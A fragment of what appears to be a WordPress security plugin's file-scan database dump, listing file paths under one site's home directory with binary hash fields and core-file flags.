('t/Ji6WX','wp-includes/class-wp-recovery-mode-cookie-service.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-recovery-mode-cookie-service.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Ǩ.l','kuXx^-b\ZrP^ΊMi','',0,'?'),
('t5^	kS(1zG^','wp-includes/blocks/archives/editor-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/archives/editor-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','vw-)OV','L_xI:\"xױ9W^ay','',0,'?'),
('t6O\raȆf','wp-admin/js/plugin-install.js','/home/trevorkl/trevorklee.com/wp-admin/js/plugin-install.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','chPP\rDW',') $K8v3X&okv','',0,'?'),
('t8p̋z{jDp','wp-includes/css/buttons-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/css/buttons-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','xqh`RI\rƢB','zϵ1.eR5Ĕ7¿+?','',0,'?'),
('tU/DsIڤst','wp-includes/js/wp-auth-check.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/wp-auth-check.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','H6bX+M\'','n@to:\\e!65,KV\\=','',0,'?'),
('t[[=6u7;YT','wp-content/plugins/wordfence/modules/login-security/classes/model/crypto.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/classes/model/crypto.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ﵔ7TMZ皟','͞?&jS6j,e%T8 ?','',0,'?'),
('ta;_Y\np=[_:B','wp-content/plugins/wordfence/images/icons/check.svg','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/icons/check.svg',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','DFPL','+ʣфȯ?+\0_ŴQq','',0,'?'),
('tm6ۗq.=j','wp-admin/css/colors/blue/colors.min.css','/home/trevorkl/trevorklee.com/wp-admin/css/colors/blue/colors.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','WAu*e','GU,ؐ=iTM./Л}>','',0,'?'),
('tm\nGO	\'\Z޵','wp-includes/js/jquery/ui/mouse.js','/home/trevorkl/trevorklee.com/wp-includes/js/jquery/ui/mouse.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ÂV]jfCv','\Zµ9MҝץH+28Þi','',0,'?'),
('tROLZ\'','wp-includes/blocks/query/editor-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/query/editor-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','B8CЌPA5','p	G\"9<VɏNŌ\\','',0,'?'),
('tUJ3;hY','wp-includes/sitemaps/gajftko/rdkfahv/index.html','/home/trevorkl/trevorklee.com/wp-includes/sitemaps/gajftko/rdkfahv/index.html',0,'ُ\0	B~','ُ\0	B~','Bșo$\'AdLxRU','',0,'?'),
('t7pG:-G&','wp-includes/blocks/tag-cloud/editor-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/tag-cloud/editor-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','3lJPC<]0','V)\ZMpv~PɐɞHD','',0,'?'),
('t}jlU)@u','wp-includes/css/dist/edit-site/style-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/edit-site/style-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','I4Rn⨶','DBjW_,_pMwtD','',0,'?'),
('t\0a\\_\'W','wp-includes/blocks/table/style-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/table/style-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','M\Zڪ\r\0Y`4','Zמ)Y_VbevdÂV5','',0,'?'),
('tb4Y','wp-includes/blocks/post-navigation-link/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-navigation-link/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('u64E~:','wp-content/plugins/wordfence/images/icons/working-indicator.gif','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/icons/working-indicator.gif',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','VF{N	\'G','fXRZ|:Ob=f[y5 ~	','',0,'?'),
('u\nJF\\[9Ȼ;W@4','wp-includes/Text/yk1mjid/wgocz1i/index.html','/home/trevorkl/trevorklee.com/wp-includes/Text/yk1mjid/wgocz1i/index.html',0,'ُ\0	B~','ُ\0	B~','Bșo$\'AdLxRU','',0,'?'),
('u)zZhLP|','wp-includes/blocks/spacer/editor.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/spacer/editor.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\rzP#R\r$-','ލ!]L13q+#u}N!\"oh\0x~','',0,'?'),
('u1\r#$T','wp-content/plugins/wordfence/views/scanner/text/issue-postBadTitle.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/views/scanner/text/issue-postBadTitle.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','٣[\"P\"{-G','A\'\'#,f]y\"@h#eNN&n','',0,'?'),
('u>]\0aO<G:5Z','wp-includes/blocks/latest-posts/editor.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/latest-posts/editor.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','yJd\\X','J#}ߚsnnQs\'YJLA*AO%','',0,'?'),
('ue,\"\n	hg.','wp-admin/css/colors/_mixins.scss','/home/trevorkl/trevorklee.com/wp-admin/css/colors/_mixins.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','HJ@$','~:]5˶Ɛ\0BAI','',0,'?'),
('uiB\"X3`^f3','wp-content/themes/twentytwentyfive/assets/images/marshland-birds-square.webp','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/images/marshland-birds-square.webp',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','d)\0ߪ','|`PNiIe>Lw6U','',0,'?'),
('u6{eArij4','wp-content/plugins/wordfence/views/scanner/text/issue-wafStatus.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/views/scanner/text/issue-wafStatus.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ʛl?qr',')/lN):oD0FHm&bLy','',0,'?'),
('uI5q#,>','wp-content/themes/twentytwentyone/assets/js/primary-navigation.js','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/js/primary-navigation.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','JrF[Y`	','	).\Z?:Q5=hu;K\'\Z','',0,'?'),
('u3!pAf)RM','wp-includes/js/tinymce/plugins/wpgallery/plugin.js','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/plugins/wpgallery/plugin.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','_vQ8_$?','<A06kJX\nvA/%O-v_\'pA@ئ','',0,'?'),
('um-O\'ߝ]#','wp-includes/sodium_compat/src/SodiumException.php','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/SodiumException.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','HDfaezR','㶜\\L>LN-@G\'tmGikR߮g\0','',0,'?'),
('uk6O>&W','wp-includes/blocks/text-columns/style-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/text-columns/style-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','fbk~QL.\n','%+&w4 \0^?F:͛e','',0,'?'),
('u\Z&6r','wp-content/plugins/wordfence/modules/login-security/js/admin.1788880300.js','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/js/admin.1788880300.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','-9P<','k\'.	t5,AUsݳ/@1','',0,'?'),
('uGF\\:)','wp-includes/blocks/post-comments-form/style-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-comments-form/style-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','e/}]9XPoB','3?TG5GB뱭NTJc{P=','',0,'?'),
('uqg\Z\08hԭ\0','wp-admin/custom-header.php','/home/trevorkl/trevorklee.com/wp-admin/custom-header.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','kRW(w|F\Z','<JJ\\?{T8CҋqJfy$gU','',0,'?'),
('uҫ;^\'B*','wp-includes/global-styles-and-settings.php','/home/trevorkl/trevorklee.com/wp-includes/global-styles-and-settings.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','!|-&fC','VFr=&IHB<Gu`Q\rO','',0,'?'),
('u:z2DQ4','wp-includes/blocks/tag-cloud.php','/home/trevorkl/trevorklee.com/wp-includes/blocks/tag-cloud.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','B\"B/<L^\'','u&yN+\'wCl','',0,'?'),
('ucC`{v','wp-content/themes/twentytwentytwo/assets/fonts/ibm-plex/IBMPlexSans-LightItalic.woff2','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/assets/fonts/ibm-plex/IBMPlexSans-LightItalic.woff2',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','R擝Xsp','\"!#/vꢽ>8h{g铩@Ye','',0,'?'),
('uczJDM','wp-includes/blocks/image.php','/home/trevorkl/trevorklee.com/wp-includes/blocks/image.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','g /-Q%a_','_QTOSთ7tt(99w8','',0,'?'),
('u\'M2','wp-includes/blocks/embed/style-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/embed/style-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','vM0AW+{-W','ΛQ=12g60j0','',0,'?'),
('u)f\'R]k','wp-includes/Requests/src/Exception/Http/Status407.php','/home/trevorkl/trevorklee.com/wp-includes/Requests/src/Exception/Http/Status407.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ZqmP\'ˈ[s','\\M#E&[~W>Al','',0,'?'),
('v	\'qG\\\\ڟ','wp-content/themes/twentytwentyfive/patterns/template-search-photo-blog.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/template-search-photo-blog.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','57yXM\\','9*y8nj6Mq0o͛9','',0,'?'),
('v\nrp=љ','wp-content/themes/twentytwentyfive/patterns/post-navigation.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/post-navigation.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','|L([W蔽','{yhv@sCX	]Uh','',0,'?'),
('vڴVKP','wp-includes/js/tinymce/skins/lightgray/fonts/tinymce.eot','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/skins/lightgray/fonts/tinymce.eot',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','PNڡ\'f','\r]~[_˳PBTA`*,O','',0,'?'),
('v)F~q?b','wp-admin/includes/class-plugin-upgrader.php','/home/trevorkl/trevorklee.com/wp-admin/includes/class-plugin-upgrader.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ߒWmQ1~{m','w83R$14V\ZR','',0,'?'),
('v&5jrjL #ܲ','wp-includes/blocks/categories/editor.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/categories/editor.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','K#u	_40','jꄓb7#xm$]v%8','',0,'?'),
('v/yC=H0','wp-includes/Text/elbyraq/1qafueo/vlkr1cf/index.php','/home/trevorkl/trevorklee.com/wp-includes/Text/elbyraq/1qafueo/vlkr1cf/index.php',0,'J(.2w81','J(.2w81',';j\0\'O󅥱25~-\0','',0,'?'),
('v1,->d.#','wp-content/plugins/wordfence/vendor/wordfence/mmdb-reader/src/IpAddressInterface.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/vendor/wordfence/mmdb-reader/src/IpAddressInterface.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','y[ǡhb','2bVCΖzMOp26ݢׁ','',0,'?'),
('v3S+7\rĠ9C{','wp-includes/blocks/navigation/view-modal.asset.php','/home/trevorkl/trevorklee.com/wp-includes/blocks/navigation/view-modal.asset.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','G9ZLl<','}$gvFJUR*a\ZmX','',0,'?'),
('v>\nA?U(','wp-includes/blocks/post-terms/style-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-terms/style-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','4\"h','@\Z\'_:e$)nF','',0,'?'),
('vK;@saU1;	^','wp-config.php','/home/trevorkl/trevorklee.com/wp-config.php',0,'CҳTo8Bz','CҳTo8Bz','͒}ŸR%WDbw7 ˢ-','',0,'?'),
('vLM.f%OMR','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/Curve25519.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/Curve25519.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','$@\n\raܐ}','4\'[<غZvU)x6$','',0,'?'),
('vMm*&Z`\'/b+','wp-includes/js/jquery/ui/effect-puff.js','/home/trevorkl/trevorklee.com/wp-includes/js/jquery/ui/effect-puff.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','9DJi\\d]','pkCi,-e}%6a	c\n]','',0,'?'),
('vQڙ]6','wp-content/themes/twentytwentyfour/patterns/posts-grid-2-col.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/posts-grid-2-col.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','a4*+$gs\n]z','pm˅B/\n075$KU#mb','',0,'?'),
('ve׶\\l.х{','wp-includes/js/dist/vendor/wp-polyfill-formdata.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/vendor/wp-polyfill-formdata.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','S|hDO3\n\n2','4N^pZ$BoT#ZvR\r8vw','',0,'?'),
('vifuP0^>d','wp-includes/sodium_compat/namespaced/Core/ChaCha20/Ctx.php','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/namespaced/Core/ChaCha20/Ctx.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','SG˺F','[(R$2otb','',0,'?'),
('vw@HzF','wp-admin/ms-admin.php','/home/trevorkl/trevorklee.com/wp-admin/ms-admin.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','UjAڦYqu	','\"G\nڔMhQ2l\'ܵ','',0,'?'),
('v}P`~|$7','wp-content/themes/twentytwentyone/assets/sass/05-blocks/legacy/_style.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/legacy/_style.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','r2<9Ѿ_J','xShIcU9X<FfjT\'hچD','',0,'?'),
('v]z3tB','wp-admin/includes/class-wp-importer.php','/home/trevorkl/trevorklee.com/wp-admin/includes/class-wp-importer.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','a/Vcib6\np]1','z7$;bIKOM2S6O8\\2:','',0,'?'),
('v\0b]T4(8xi','wp-content/plugins/wordfence/lib/audit-log/wfAuditLogObserversWordPressCoreUser.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/audit-log/wfAuditLogObserversWordPressCoreUser.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',';DԠUYe1','62-}obܷD=\n6pj^','',0,'?'),
('vޣR','wp-includes/js/jquery/jquery-migrate.js','/home/trevorkl/trevorklee.com/wp-includes/js/jquery/jquery-migrate.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','b*Z{ϖ','\0m\\$6EI*[dwLw','',0,'?'),
('vv%`k-<T','wp-includes/Requests/src/Proxy/Http.php','/home/trevorkl/trevorklee.com/wp-includes/Requests/src/Proxy/Http.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','[4j(	-','e\\;\ZoA <?{zrɩЧY\']','',0,'?'),
('vv̞etѿ','wp-content/themes/twentytwentyone/assets/sass/05-blocks/search/_style.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/search/_style.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ʷ֓na\"x6l','__s,͜,\"$!nK8Bn','',0,'?'),
('vâ,\\+Q֧','wp-admin/css/l10n-rtl.min.css','/home/trevorkl/trevorklee.com/wp-admin/css/l10n-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','*H<^6PR','0ӣu{i;2sJ}䭇QÄwu','',0,'?'),
('v.#PH2','wp-includes/blocks/buttons/editor.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/buttons/editor.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','nFh5%pD?','vF?˨l@c~J5?5tN4','',0,'?'),
('vq?\0{=ŭe','wp-includes/blocks/site-logo/style.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/site-logo/style.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','@\0ؼc(Y\'~:','BGeJA8*[MQUxm','',0,'?'),
('v2ȷXO6','wp-includes/blocks/list.php','/home/trevorkl/trevorklee.com/wp-includes/blocks/list.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','hEމYҫ','  O*12nl','',0,'?'),
('vG.gA#r','wp-admin/images/align-right-2x.png','/home/trevorkl/trevorklee.com/wp-admin/images/align-right-2x.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','hl>r]lWx','V:h#ȆBT5i\0?cBc','',0,'?'),
('v4|><','wp-admin/js/xfn.js','/home/trevorkl/trevorklee.com/wp-admin/js/xfn.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','wcW_~\r1>p','4[Ÿ$[\\Ə4-3zx','',0,'?'),
('v{#lb\0}B','wp-admin/css/colors/light/colors.css','/home/trevorkl/trevorklee.com/wp-admin/css/colors/light/colors.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','3Rp:vfL#','{|@GǏ:wԼa','',0,'?'),
('vҸ);D~J\"q','wp-includes/js/jquery/jquery.form.js','/home/trevorkl/trevorklee.com/wp-includes/js/jquery/jquery.form.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','OfN',':Ua8\ZPI	j','',0,'?'),
('vxF^\"D','wp-content/themes/twentytwentytwo/styles/pink.json','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/styles/pink.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','PNH{f*T]a','[fSmYRgWϥt<)8ݪ~>?','',0,'?'),
('wul|pQ','wp-includes/js/autosave.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/autosave.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','7PECA','ߺK\ZXLz^ƙ)Y̧D,d','',0,'?'),
('w2J.װY.	','wp-includes/js/dist/script-modules/boot/index.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/script-modules/boot/index.js',0,'F|M.4	.\0','F|M.4	.\0','40+[\0}4Zq þ(Z5','',0,'?'),
('w5Yj\nʘ[?[','wp-content/themes/twentytwentyfive/templates/archive.html','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/templates/archive.html',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','p9t',';`uUkj^K/*H:4y','',0,'?'),
('w8h*\\;e[','wp-includes/blocks/archives/style-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/archives/style-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','	Kݑ։','9j鹠٠4Sqò_\\`','',0,'?'),
('wZkFD9h','wp-includes/blocks/site-tagline/block.json','/home/trevorkl/trevorklee.com/wp-includes/blocks/site-tagline/block.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','cŮ*ur=t\ZRD','	TPA\'U)&!ahRPt','',0,'?'),
('wgNO	c','wp-content/themes/twentytwentyfive/patterns/event-3-col.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/event-3-col.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ƒl<WH\r','E~NOtczMOhCy^Y','',0,'?'),
('wM\r$Nb5]','wp-includes/images/media/spreadsheet.svg','/home/trevorkl/trevorklee.com/wp-includes/images/media/spreadsheet.svg',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','68\';6.G','fǋBΐFl8	UWFj&YW n','',0,'?'),
('wzMeV','wp-includes/sitemaps/fxpu1qt/uspyrgz/index.php','/home/trevorkl/trevorklee.com/wp-includes/sitemaps/fxpu1qt/uspyrgz/index.php',0,'i\0@]VȄ','i\0@]VȄ','8\\I.B|oԾZ~\nWzB','',0,'?'),
('wL0]r.','wp-includes/images/crystal/code.png','/home/trevorkl/trevorklee.com/wp-includes/images/crystal/code.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','`119',';67\r!x\Z_@H&C-','',0,'?'),
('w@IeRf7','wp-content/plugins/wordfence/modules/login-security/classes/model/crypto/symmetric.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/classes/model/crypto/symmetric.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','hR','=mH/\neC3u58','',0,'?'),
('w`M>{','wp-admin/includes/noop.php','/home/trevorkl/trevorklee.com/wp-admin/includes/noop.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','~ÐoKKVe','(CFγϓasFI`IsDD','',0,'?'),
('wË9/,+1','wp-content/plugins/wordfence/crypto/vendor/paragonie/random_compat/lib/random_bytes_libsodium_legacy.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/random_compat/lib/random_bytes_libsodium_legacy.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','g۰/*C,k#','avxu흶j=ISD{!','',0,'?'),
('wǾ%3.X|w','wp-includes/js/dist/script-modules/workflow/index.min.asset.php','/home/trevorkl/trevorklee.com/wp-includes/js/dist/script-modules/workflow/index.min.asset.php',0,'&;.oځS3','&;.oځS3','dX-c[,b-Ukm^','',0,'?'),
('wՋ\\G&A','wp-includes/blocks/template-part/block.json','/home/trevorkl/trevorklee.com/wp-includes/blocks/template-part/block.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','{oŅtc7S/(','v*ruߩMqR	!g)M?','',0,'?'),
('w$\\Y.t','wp-content/themes/twentytwentyfour/patterns/page-home-blogging.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/page-home-blogging.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','IyP$y֓','!&B\ZX=gtЈ~B@͑D','',0,'?'),
('w:}VP','wp-admin/js/common.js','/home/trevorkl/trevorklee.com/wp-admin/js/common.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','2ӥΕ','tR:@qQOj o,99:,\Z#(','',0,'?'),
('x	G!N$.dTb','wp-includes/ID3/module.audio-video.flv.php','/home/trevorkl/trevorklee.com/wp-includes/ID3/module.audio-video.flv.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','(AZ?!x&3h','7T@7lEœ#V,Li\'','',0,'?'),
('xFO0uO- ','wp-includes/SimplePie/library/SimplePie/Enclosure.php','/home/trevorkl/trevorklee.com/wp-includes/SimplePie/library/SimplePie/Enclosure.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','uqm1Xli','k.0=m:b>:<{1[{ox','',0,'?'),
('x9@^6ߑo','wp-includes/images/w-logo-blue.png','/home/trevorkl/trevorklee.com/wp-includes/images/w-logo-blue.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','[NW_pw0','ޣ^Qt3HunU❻~\'T2','',0,'?'),
('x@Zo_,?','wp-includes/css/dist/theme/design-tokens.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/theme/design-tokens.css',0,'>a*tBp=v\0','>a*tBp=v\0','BD)E,`Y\\+Zby, ','',0,'?'),
('x@]ۼ2y7','wp-includes/sodium_compat/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('x@601|\nVe7','wp-content/plugins/loginizer/lib/hybridauth/Exception/Exception.php','/home/trevorkl/trevorklee.com/wp-content/plugins/loginizer/lib/hybridauth/Exception/Exception.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\n	v2í','X\n$FSd}+?C\Z3dL^','',0,'?'),
('xIH.9YBO','wp-admin/css/colors/coffee/colors.scss','/home/trevorkl/trevorklee.com/wp-admin/css/colors/coffee/colors.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','HDTUt[D','pe15m:^[t\Z(!;U<Sפ ','',0,'?'),
('xLKx 2Is!#Q','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/ChaCha20/IetfCtx.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/ChaCha20/IetfCtx.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Ө,h/','b\'V-8\rFҠƏM34','',0,'?'),
('xVM>n{Oǟ','wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/views/403-blacklist.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/views/403-blacklist.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','PjXhڬW8','c/\"C*|̓ʾƅeu ݕ','',0,'?'),
('xaKP9j	','wp-includes/blocks/comment-date/block.json','/home/trevorkl/trevorklee.com/wp-includes/blocks/comment-date/block.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','E.^-uMc','Hx玩b=J]tqxu','',0,'?'),
('xe˅诹</eY','wp-includes/blocks/tag-cloud/editor.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/tag-cloud/editor.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','3lJPC<]0','V)\ZMpv~PɐɞHD','',0,'?'),
('xy!q).ˉ\"','wp-content/plugins/wordfence/images/sort_desc_disabled.gif','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/sort_desc_disabled.gif',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','m͟r 9',';	_Yt7KsmC\ro','',0,'?'),
('x7.D&ڹg','wp-includes/blocks/navigation-submenu/block.json','/home/trevorkl/trevorklee.com/wp-includes/blocks/navigation-submenu/block.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',',I^u ]p','LCzU[s\n','',0,'?'),
('x2Dn{M[/E','wp-content/themes/twentytwentytwo/assets/fonts/source-serif-pro/SourceSerif4Variable-Roman.ttf.woff2','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/assets/fonts/source-serif-pro/SourceSerif4Variable-Roman.ttf.woff2',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','7\\\ZEn','{GS0).~#m}:2','',0,'?'),
('x^m]̲/L4vU','wp-admin/includes/revision.php','/home/trevorkl/trevorklee.com/wp-admin/includes/revision.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','<V0,e7iYV{','eQEx8^ԻCsOr:','',0,'?'),
('xn8IY1','wp-content/themes/twentynineteen/inc/customizer.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/inc/customizer.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','I(%l\ZH','T@jP%͓cfO','',0,'?'),
('x*3u<eZH\"','wp-content/themes/twentytwentytwo/inc/patterns/header-text-only-salmon-background.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/header-text-only-salmon-background.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','U=c!pU^','<TP/.D[\"H% Rruˋ','',0,'?'),
('x.XJ$ɮܹ','wp-includes/blocks/pullquote/style-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/pullquote/style-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\rSWZX','W[<U^&:crbك','',0,'?'),
('x덂@}Yi+','wp-includes/js/tinymce/plugins/tabfocus/plugin.js','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/plugins/tabfocus/plugin.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ώ@/@MmN','xM\'Ȥ=ڷ?$S,Fy֥','',0,'?'),
